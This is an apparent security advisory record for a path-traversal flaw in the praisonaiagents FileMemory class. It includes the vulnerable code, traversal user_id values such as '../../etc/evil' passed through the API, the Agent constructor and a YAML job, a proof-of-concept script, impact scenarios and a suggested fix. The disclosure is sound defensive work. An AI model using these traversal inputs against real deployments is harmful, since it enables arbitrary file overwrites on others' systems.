PYSEC-2026-3902
Vulnerability from pysec - Published: 2026-09-10 09:44 - Updated: 2026-09-10 11:02Summary
praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all
memory file paths by directly joining the user_id parameter to a base path:
self.user_path = self.base_path / user_id # LINE 145 — no sanitization
No validation or normalization is applied to user_id before the path join.
An attacker who can supply a user_id containing ../ sequences can write
arbitrary JSON files (memory content) to any writable location on the filesystem.
The vulnerability is confirmed live on the current main branch
(praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744
(which covered MultiAgentMonitor in an example file, not FileMemory in the
core library).
Details
Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:
def __init__(
self,
user_id: str = "default",
base_path: Optional[str] = None,
...
):
...
self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION
self.episodic_path = self.user_path / "episodic"
self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path
self.episodic_path.mkdir(parents=True, exist_ok=True)
self.config_file = self.user_path / "config.json"
self.short_term_file = self.user_path / "short_term.json"
self.long_term_file = self.user_path / "long_term.json"
self.entities_file = self.user_path / "entities.json"
self.summaries_file = self.user_path / "summaries.json"
All five JSON files are written under user_path, which is directly derived from
the attacker-controlled user_id. The written content is valid JSON in the memory
item format (configurable user content + metadata).
Comparison with the patched reference — praisonaiagents/storage/backends.py
(SQLiteBackend):
The sibling SQLiteBackend validates its table_name with a regex:
if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
raise ValueError(...)
No equivalent validation exists in FileMemory.
Attack chains:
A — Direct Python API (any caller):
from praisonaiagents.memory.file_memory import FileMemory
mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json (on Linux)
# Creates C:\evil\short_term.json (on Windows)
B — Via Agent constructor (memory dict):
from praisonaiagents import Agent
agent = Agent(
name="assistant",
memory={"provider": "file", "user_id": "../../etc/evil"},
instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init
C — Via agents.yaml / job submission (agent_yaml field):
# Submitted via POST /jobs with agent_yaml:
agents:
researcher:
memory:
provider: file
user_id: "../../tmp/evil"
role: "Research assistant"
goal: "Research topics"
agents_generator.py passes the memory.user_id value to the Agent constructor.
PoC
Environment: Python 3.9+, praisonaiagents <= 1.6.52
Step 1 — Verify path escapes base (no dependencies needed):
from pathlib import Path
import tempfile
base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id
try:
user_path.resolve().relative_to(base.resolve())
print("SAFE")
except ValueError:
print("!!PATH ESCAPES BASE!!")
print("Writes to:", user_path.resolve())
Output:
!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape
Step 2 — Live exploit (files written outside base):
import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory
BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)
TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()
mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE))
mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this")
mem.add_long_term("SENSITIVE_DATA", importance=0.9)
# Verify files appeared OUTSIDE the base directory
for fname in ["short_term.json", "long_term.json", "config.json"]:
f = TARGET / fname
if f.exists():
print(f"WRITTEN: {f}")
print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}")
Observed output (run on current main):
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json
Content: PROOF_OF_TRAVERSAL: attacker wrote this
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json
Content: SENSITIVE_DATA
WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json
Impact
What kind of vulnerability: Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process.
Who is impacted:
- Any application that creates
FileMemoryinstances with user-controlleduser_id - Any PraisonAI deployment where users can supply the
user_idparameter directly or indirectly (viaAgent(memory={"user_id": ...}), agents.yaml, or jobs API)
High-impact scenarios:
-
Overwrite Python package files: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser.
-
Overwrite web server / app config: Write
config.jsonorsettings.jsonto an app's configuration directory, potentially modifying runtime behavior. -
Cron / startup persistence: Write JSON files to
/etc/cron.d/paths (Linux) or%APPDATA%\Startup\(Windows) directories that might be interpreted by monitoring systems. -
Denial of Service: Write large JSON memory files into system directories, filling disk space or overwriting critical config files.
-
Multi-tenant deployments: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path.
Distinction from GHSA-766v-q9x3-g744:
| GHSA-766v-q9x3-g744 | This finding | |
|---|---|---|
| File | examples/context/12_multi_agent_context.py (example) |
praisonaiagents/memory/file_memory.py (core library) |
| Class | MultiAgentMonitor |
FileMemory |
| Fixed in | praisonaiagents >= 1.5.115 |
Not patched (affects 1.6.52) |
---
## Remediation Suggestion (for maintainers)
Validate and resolve `user_id` before using it in path construction:
```python
def __init__(self, user_id: str = "default", base_path=None, ...):
...
# ADDED: sanitize user_id
import re
if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id):
raise ValueError(
f"user_id '{user_id}' contains invalid characters. "
f"Only alphanumeric characters, hyphens, underscores, and dots are allowed."
)
self.user_path = self.base_path / user_id
# ADDED: verify the resolved path is within base (defense-in-depth)
resolved = self.user_path.resolve()
base_resolved = self.base_path.resolve()
try:
resolved.relative_to(base_resolved)
except ValueError:
raise ValueError(
f"user_id '{user_id}' would write outside the base memory directory."
)
The same pattern should be applied to base_path parameter.
| Name | purl | praisonaiagents | pkg:pypi/praisonaiagents |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents",
"purl": "pkg:pypi/praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.0.1",
"0.0.10",
"0.0.100",
"0.0.101",
"0.0.102",
"0.0.103",
"0.0.104",
"0.0.105",
"0.0.106",
"0.0.107",
"0.0.108",
"0.0.109",
"0.0.11",
"0.0.110",
"0.0.111",
"0.0.112",
"0.0.113",
"0.0.114",
"0.0.115",
"0.0.116",
"0.0.117",
"0.0.118",
"0.0.119",
"0.0.12",
"0.0.120",
"0.0.121",
"0.0.122",
"0.0.123",
"0.0.124",
"0.0.125",
"0.0.126",
"0.0.127",
"0.0.128",
"0.0.129",
"0.0.13",
"0.0.130",
"0.0.131",
"0.0.132",
"0.0.133",
"0.0.134",
"0.0.135",
"0.0.136",
"0.0.137",
"0.0.138",
"0.0.139",
"0.0.14",
"0.0.140",
"0.0.141",
"0.0.142",
"0.0.143",
"0.0.144",
"0.0.145",
"0.0.146",
"0.0.147",
"0.0.148",
"0.0.149",
"0.0.15",
"0.0.150",
"0.0.151",
"0.0.152",
"0.0.153",
"0.0.154",
"0.0.155",
"0.0.156",
"0.0.157",
"0.0.158",
"0.0.159",
"0.0.16",
"0.0.160",
"0.0.161",
"0.0.162",
"0.0.163",
"0.0.164",
"0.0.165",
"0.0.166",
"0.0.167",
"0.0.168",
"0.0.169",
"0.0.17",
"0.0.170",
"0.0.171",
"0.0.172",
"0.0.173",
"0.0.174",
"0.0.175",
"0.0.176",
"0.0.177",
"0.0.178",
"0.0.179",
"0.0.18",
"0.0.180",
"0.0.181",
"0.0.182",
"0.0.183",
"0.0.184",
"0.0.185",
"0.0.187",
"0.0.188",
"0.0.189",
"0.0.19",
"0.0.190",
"0.0.191",
"0.0.192",
"0.0.193",
"0.0.194",
"0.0.195",
"0.0.196",
"0.0.197",
"0.0.198",
"0.0.199",
"0.0.2",
"0.0.20",
"0.0.21",
"0.0.22",
"0.0.23",
"0.0.24",
"0.0.25",
"0.0.26",
"0.0.27",
"0.0.28",
"0.0.29",
"0.0.3",
"0.0.30",
"0.0.31",
"0.0.32",
"0.0.33",
"0.0.34",
"0.0.35",
"0.0.36",
"0.0.37",
"0.0.38",
"0.0.39",
"0.0.4",
"0.0.40",
"0.0.41",
"0.0.42",
"0.0.43",
"0.0.44",
"0.0.45",
"0.0.46",
"0.0.47",
"0.0.48",
"0.0.49",
"0.0.5",
"0.0.50",
"0.0.51",
"0.0.52",
"0.0.53",
"0.0.54",
"0.0.56",
"0.0.57",
"0.0.58",
"0.0.59",
"0.0.6",
"0.0.60",
"0.0.61",
"0.0.62",
"0.0.63",
"0.0.64",
"0.0.65",
"0.0.66",
"0.0.67",
"0.0.68",
"0.0.69",
"0.0.7",
"0.0.70",
"0.0.71",
"0.0.72",
"0.0.73",
"0.0.74",
"0.0.75",
"0.0.76",
"0.0.77",
"0.0.78",
"0.0.79",
"0.0.8",
"0.0.80",
"0.0.81",
"0.0.82",
"0.0.83",
"0.0.84",
"0.0.85",
"0.0.86",
"0.0.87",
"0.0.88",
"0.0.89",
"0.0.9",
"0.0.90",
"0.0.91",
"0.0.92",
"0.0.93",
"0.0.94",
"0.0.95",
"0.0.96",
"0.0.97",
"0.0.98",
"0.0.99",
"0.1.0",
"0.1.1",
"0.1.10",
"0.1.11",
"0.1.12",
"0.1.13",
"0.1.14",
"0.1.15",
"0.1.16",
"0.1.17",
"0.1.18",
"0.1.19",
"0.1.2",
"0.1.20",
"0.1.21",
"0.1.22",
"0.1.23",
"0.1.24",
"0.1.25",
"0.1.26",
"0.1.27",
"0.1.3",
"0.1.4",
"0.1.5",
"0.1.6",
"0.1.7",
"0.1.8",
"0.1.9",
"0.10.0",
"0.10.1",
"0.10.10",
"0.10.2",
"0.10.3",
"0.10.4",
"0.10.5",
"0.10.6",
"0.10.7",
"0.10.8",
"0.10.9",
"0.11.0",
"0.11.1",
"0.11.10",
"0.11.11",
"0.11.12",
"0.11.13",
"0.11.14",
"0.11.15",
"0.11.16",
"0.11.17",
"0.11.18",
"0.11.19",
"0.11.2",
"0.11.20",
"0.11.21",
"0.11.22",
"0.11.23",
"0.11.24",
"0.11.25",
"0.11.27",
"0.11.28",
"0.11.29",
"0.11.3",
"0.11.30",
"0.11.31",
"0.11.4",
"0.11.5",
"0.11.6",
"0.11.7",
"0.11.8",
"0.11.9",
"0.12.0",
"0.12.1",
"0.12.10",
"0.12.11",
"0.12.12",
"0.12.13",
"0.12.14",
"0.12.15",
"0.12.16",
"0.12.17",
"0.12.18",
"0.12.19",
"0.12.2",
"0.12.20",
"0.12.21",
"0.12.3",
"0.12.4",
"0.12.5",
"0.12.6",
"0.12.7",
"0.12.8",
"0.12.9",
"0.13.0",
"0.13.1",
"0.13.10",
"0.13.11",
"0.13.12",
"0.13.13",
"0.13.14",
"0.13.15",
"0.13.16",
"0.13.17",
"0.13.18",
"0.13.19",
"0.13.2",
"0.13.20",
"0.13.21",
"0.13.22",
"0.13.23",
"0.13.3",
"0.13.4",
"0.13.5",
"0.13.6",
"0.13.7",
"0.13.8",
"0.13.9",
"0.14.0",
"0.14.1",
"0.14.10",
"0.14.11",
"0.14.12",
"0.14.14",
"0.14.15",
"0.14.16",
"0.14.2",
"0.14.3",
"0.14.4",
"0.14.5",
"0.14.6",
"0.14.7",
"0.14.8",
"0.14.9",
"0.15.0",
"0.15.1",
"0.15.2",
"0.15.3",
"0.2.0",
"0.2.1",
"0.2.2",
"0.3.0",
"0.3.1",
"0.3.2",
"0.3.3",
"0.3.4",
"0.4.0",
"0.4.1",
"0.5.0",
"0.5.1",
"0.5.2",
"0.5.3",
"0.6.0",
"0.6.1",
"0.6.2",
"0.6.3",
"0.6.4",
"0.6.5",
"0.6.6",
"0.6.7",
"0.6.8",
"0.7.0",
"0.7.1",
"0.8.0",
"0.8.1",
"0.9.0",
"0.9.1",
"1.0.0",
"1.1.0",
"1.2.0",
"1.2.1",
"1.2.2",
"1.2.3",
"1.2.4",
"1.3.0",
"1.3.1",
"1.4.0",
"1.4.1",
"1.4.2",
"1.4.3",
"1.4.4",
"1.4.5",
"1.4.6",
"1.4.7",
"1.4.8",
"1.5.0",
"1.5.1",
"1.5.10",
"1.5.100",
"1.5.101",
"1.5.102",
"1.5.103",
"1.5.104",
"1.5.105",
"1.5.106",
"1.5.107",
"1.5.108",
"1.5.109",
"1.5.11",
"1.5.110",
"1.5.111",
"1.5.112",
"1.5.113",
"1.5.114",
"1.5.115",
"1.5.116",
"1.5.117",
"1.5.118",
"1.5.119",
"1.5.12",
"1.5.120",
"1.5.121",
"1.5.122",
"1.5.123",
"1.5.124",
"1.5.125",
"1.5.126",
"1.5.127",
"1.5.128",
"1.5.129",
"1.5.13",
"1.5.130",
"1.5.131",
"1.5.132",
"1.5.133",
"1.5.134",
"1.5.135",
"1.5.136",
"1.5.137",
"1.5.138",
"1.5.139",
"1.5.14",
"1.5.140",
"1.5.141",
"1.5.142",
"1.5.143",
"1.5.144",
"1.5.145",
"1.5.146",
"1.5.147",
"1.5.148",
"1.5.149",
"1.5.15",
"1.5.16",
"1.5.17",
"1.5.18",
"1.5.19",
"1.5.2",
"1.5.20",
"1.5.21",
"1.5.22",
"1.5.23",
"1.5.24",
"1.5.25",
"1.5.26",
"1.5.27",
"1.5.28",
"1.5.29",
"1.5.3",
"1.5.30",
"1.5.31",
"1.5.32",
"1.5.33",
"1.5.34",
"1.5.35",
"1.5.36",
"1.5.37",
"1.5.38",
"1.5.39",
"1.5.40",
"1.5.41",
"1.5.42",
"1.5.43",
"1.5.44",
"1.5.45",
"1.5.46",
"1.5.47",
"1.5.48",
"1.5.49",
"1.5.5",
"1.5.50",
"1.5.51",
"1.5.52",
"1.5.53",
"1.5.54",
"1.5.55",
"1.5.56",
"1.5.57",
"1.5.58",
"1.5.59",
"1.5.6",
"1.5.60",
"1.5.61",
"1.5.62",
"1.5.63",
"1.5.64",
"1.5.65",
"1.5.66",
"1.5.67",
"1.5.68",
"1.5.69",
"1.5.7",
"1.5.70",
"1.5.71",
"1.5.72",
"1.5.73",
"1.5.74",
"1.5.75",
"1.5.76",
"1.5.77",
"1.5.78",
"1.5.79",
"1.5.8",
"1.5.80",
"1.5.81",
"1.5.82",
"1.5.83",
"1.5.84",
"1.5.85",
"1.5.86",
"1.5.87",
"1.5.88",
"1.5.89",
"1.5.9",
"1.5.90",
"1.5.91",
"1.5.92",
"1.5.93",
"1.5.94",
"1.5.95",
"1.5.96",
"1.5.97",
"1.5.98",
"1.5.99",
"1.6.1",
"1.6.10",
"1.6.11",
"1.6.12",
"1.6.13",
"1.6.14",
"1.6.15",
"1.6.16",
"1.6.17",
"1.6.18",
"1.6.19",
"1.6.2",
"1.6.20",
"1.6.21",
"1.6.22",
"1.6.23",
"1.6.24",
"1.6.25",
"1.6.26",
"1.6.27",
"1.6.28",
"1.6.29",
"1.6.3",
"1.6.30",
"1.6.31",
"1.6.32",
"1.6.33",
"1.6.34",
"1.6.35",
"1.6.36",
"1.6.37",
"1.6.38",
"1.6.39",
"1.6.4",
"1.6.40",
"1.6.41",
"1.6.42",
"1.6.43",
"1.6.44",
"1.6.45",
"1.6.46",
"1.6.47",
"1.6.48",
"1.6.5",
"1.6.50",
"1.6.51",
"1.6.52",
"1.6.53",
"1.6.54",
"1.6.55",
"1.6.56",
"1.6.57",
"1.6.6",
"1.6.7",
"1.6.8",
"1.6.9"
]
}
],
"aliases": [
"CVE-2026-55527",
"GHSA-gxmw-5f7x-6g22"
],
"details": "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id # LINE 145 \u2014 no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code \u2014 `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n self,\n user_id: str = \"default\",\n base_path: Optional[str] = None,\n ...\n):\n ...\n self.user_path = self.base_path / user_id # LINE 145 \u2014 NO SANITIZATION\n self.episodic_path = self.user_path / \"episodic\"\n\n self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path\n self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n self.config_file = self.user_path / \"config.json\"\n self.short_term_file = self.user_path / \"short_term.json\"\n self.long_term_file = self.user_path / \"long_term.json\"\n self.entities_file = self.user_path / \"entities.json\"\n self.summaries_file = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference \u2014 `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r\u0027^[a-zA-Z0-9_]+$\u0027, table_name):\n raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A \u2014 Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json (on Linux)\n# Creates C:\\evil\\short_term.json (on Windows)\n```\n\n*B \u2014 Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n name=\"assistant\",\n memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C \u2014 Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n researcher:\n memory:\n provider: file\n user_id: \"../../tmp/evil\"\n role: \"Research assistant\"\n goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents \u003c= 1.6.52`\n\n**Step 1 \u2014 Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n user_path.resolve().relative_to(base.resolve())\n print(\"SAFE\")\nexcept ValueError:\n print(\"!!PATH ESCAPES BASE!!\")\n print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: \u003cTMPDIR\u003e/tmp/evil_escape\n```\n\n**Step 2 \u2014 Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n f = TARGET / fname\n if f.exists():\n print(f\"WRITTEN: {f}\")\n print(f\"Content: {json.loads(f.read_text())[0][\u0027content\u0027] if fname != \u0027config.json\u0027 else \u0027...\u0027}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: \u003cTMPDIR\u003e/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n in a world-writable or user-writable path, JSON files can be written over package\n files, causing import failures or (in edge cases) execution if a JSON parser is\n swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n to an app\u0027s configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n users can create agents with custom memory configs, one user can read/overwrite\n another user\u0027s memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents \u003e= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n ...\n # ADDED: sanitize user_id\n import re\n if not re.match(r\u0027^[a-zA-Z0-9_\\-\\.]+$\u0027, user_id):\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 contains invalid characters. \"\n f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n )\n\n self.user_path = self.base_path / user_id\n\n # ADDED: verify the resolved path is within base (defense-in-depth)\n resolved = self.user_path.resolve()\n base_resolved = self.base_path.resolve()\n try:\n resolved.relative_to(base_resolved)\n except ValueError:\n raise ValueError(\n f\"user_id \u0027{user_id}\u0027 would write outside the base memory directory.\"\n )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
"id": "PYSEC-2026-3902",
"modified": "2026-09-10T11:02:28.494024Z",
"published": "2026-09-10T09:44:55.050170Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonaiagents"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-gxmw-5f7x-6g22"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55527"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` \u2014 path traversal to any writable location"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.